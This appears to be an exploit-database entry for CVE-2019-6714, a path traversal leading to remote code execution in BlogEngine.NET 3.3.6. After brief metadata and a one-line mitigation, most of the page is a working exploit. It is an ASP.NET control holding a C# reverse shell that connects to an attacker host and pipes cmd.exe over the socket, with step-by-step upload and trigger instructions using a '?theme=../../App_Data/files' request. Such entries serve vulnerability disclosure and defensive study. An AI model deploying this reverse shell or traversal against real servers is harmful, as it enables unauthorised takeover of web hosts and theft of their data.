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vendor:
BlogEngine.NET
by:
Dustin Cobb
9.8
CVSS
CRITICAL
Directory Traversal
22
CWE
Product Name: BlogEngine.NET
Affected Version From: 3.3.6
Affected Version To: 3.3.6
Patch Exists: YES
Related CWE: CVE-2019-6714
CPE: a:blogengine.net:blogengine.net:3.3.6
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 2016 Standard / IIS 10.0
2019

BlogEngine.NET <= 3.3.6 Directory Traversal RCE

Path traversal vulnerability leading to remote code execution. This vulnerability affects BlogEngine.NET versions 3.3.6 and below. This is caused by an unchecked "theme" parameter that is used to override the default theme for rendering blog pages. Attackers can set the TcpClient address and port within the method to their attack host, who has a reverse tcp listener waiting for a connection. The vulnerable code can be seen in the file /Custom/Controls/PostList.ascx.cs. The file must be uploaded as PostView.ascx and the vulnerability is triggered by accessing the base URL for the blog with a theme override specified like so: http://10.10.10.10/?theme=../../App_Data/files

Mitigation:

Ensure that the "theme" parameter is properly sanitized and validated before being used.
Source

Exploit-DB raw data:

# Exploit Title: BlogEngine.NET <= 3.3.6 Directory Traversal RCE
# Date: 02-11-2019
# Exploit Author: Dustin Cobb
# Vendor Homepage: https://github.com/rxtur/BlogEngine.NET/
# Software Link: https://github.com/rxtur/BlogEngine.NET/releases/download/v3.3.6.0/3360.zip
# Version: <= 3.3.6
# Tested on: Windows 2016 Standard / IIS 10.0
# CVE : CVE-2019-6714

/*
 * CVE-2019-6714
 *
 * Path traversal vulnerability leading to remote code execution.  This 
 * vulnerability affects BlogEngine.NET versions 3.3.6 and below.  This 
 * is caused by an unchecked "theme" parameter that is used to override
 * the default theme for rendering blog pages.  The vulnerable code can 
 * be seen in this file:
 * 
 * /Custom/Controls/PostList.ascx.cs
 *
 * Attack:
 *
 * First, we set the TcpClient address and port within the method below to 
 * our attack host, who has a reverse tcp listener waiting for a connection.
 * Next, we upload this file through the file manager.  In the current (3.3.6)
 * version of BlogEngine, this is done by editing a post and clicking on the 
 * icon that looks like an open file in the toolbar.  Note that this file must
 * be uploaded as PostView.ascx. Once uploaded, the file will be in the
 * /App_Data/files directory off of the document root. The admin page that
 * allows upload is:
 *
 * http://10.10.10.10/admin/app/editor/editpost.cshtml
 *
 *
 * Finally, the vulnerability is triggered by accessing the base URL for the 
 * blog with a theme override specified like so:
 *
 * http://10.10.10.10/?theme=../../App_Data/files
 *
 */

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
	static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

	using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.10.10.20", 4445)) {
		using(System.IO.Stream stream = client.GetStream()) {
			using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
				streamWriter = new System.IO.StreamWriter(stream);
						
				StringBuilder strInput = new StringBuilder();

				System.Diagnostics.Process p = new System.Diagnostics.Process();
				p.StartInfo.FileName = "cmd.exe";
				p.StartInfo.CreateNoWindow = true;
				p.StartInfo.UseShellExecute = false;
				p.StartInfo.RedirectStandardOutput = true;
				p.StartInfo.RedirectStandardInput = true;
				p.StartInfo.RedirectStandardError = true;
				p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
				p.Start();
				p.BeginOutputReadLine();

				while(true) {
					strInput.Append(rdr.ReadLine());
					p.StandardInput.WriteLine(strInput);
					strInput.Remove(0, strInput.Length);
				}
			}
		}
    	}
    }

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
   	StringBuilder strOutput = new StringBuilder();

       	if (!String.IsNullOrEmpty(outLine.Data)) {
       		try {
                	strOutput.Append(outLine.Data);
                    	streamWriter.WriteLine(strOutput);
                    	streamWriter.Flush();
                } catch (Exception err) { }
        }
    }

</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>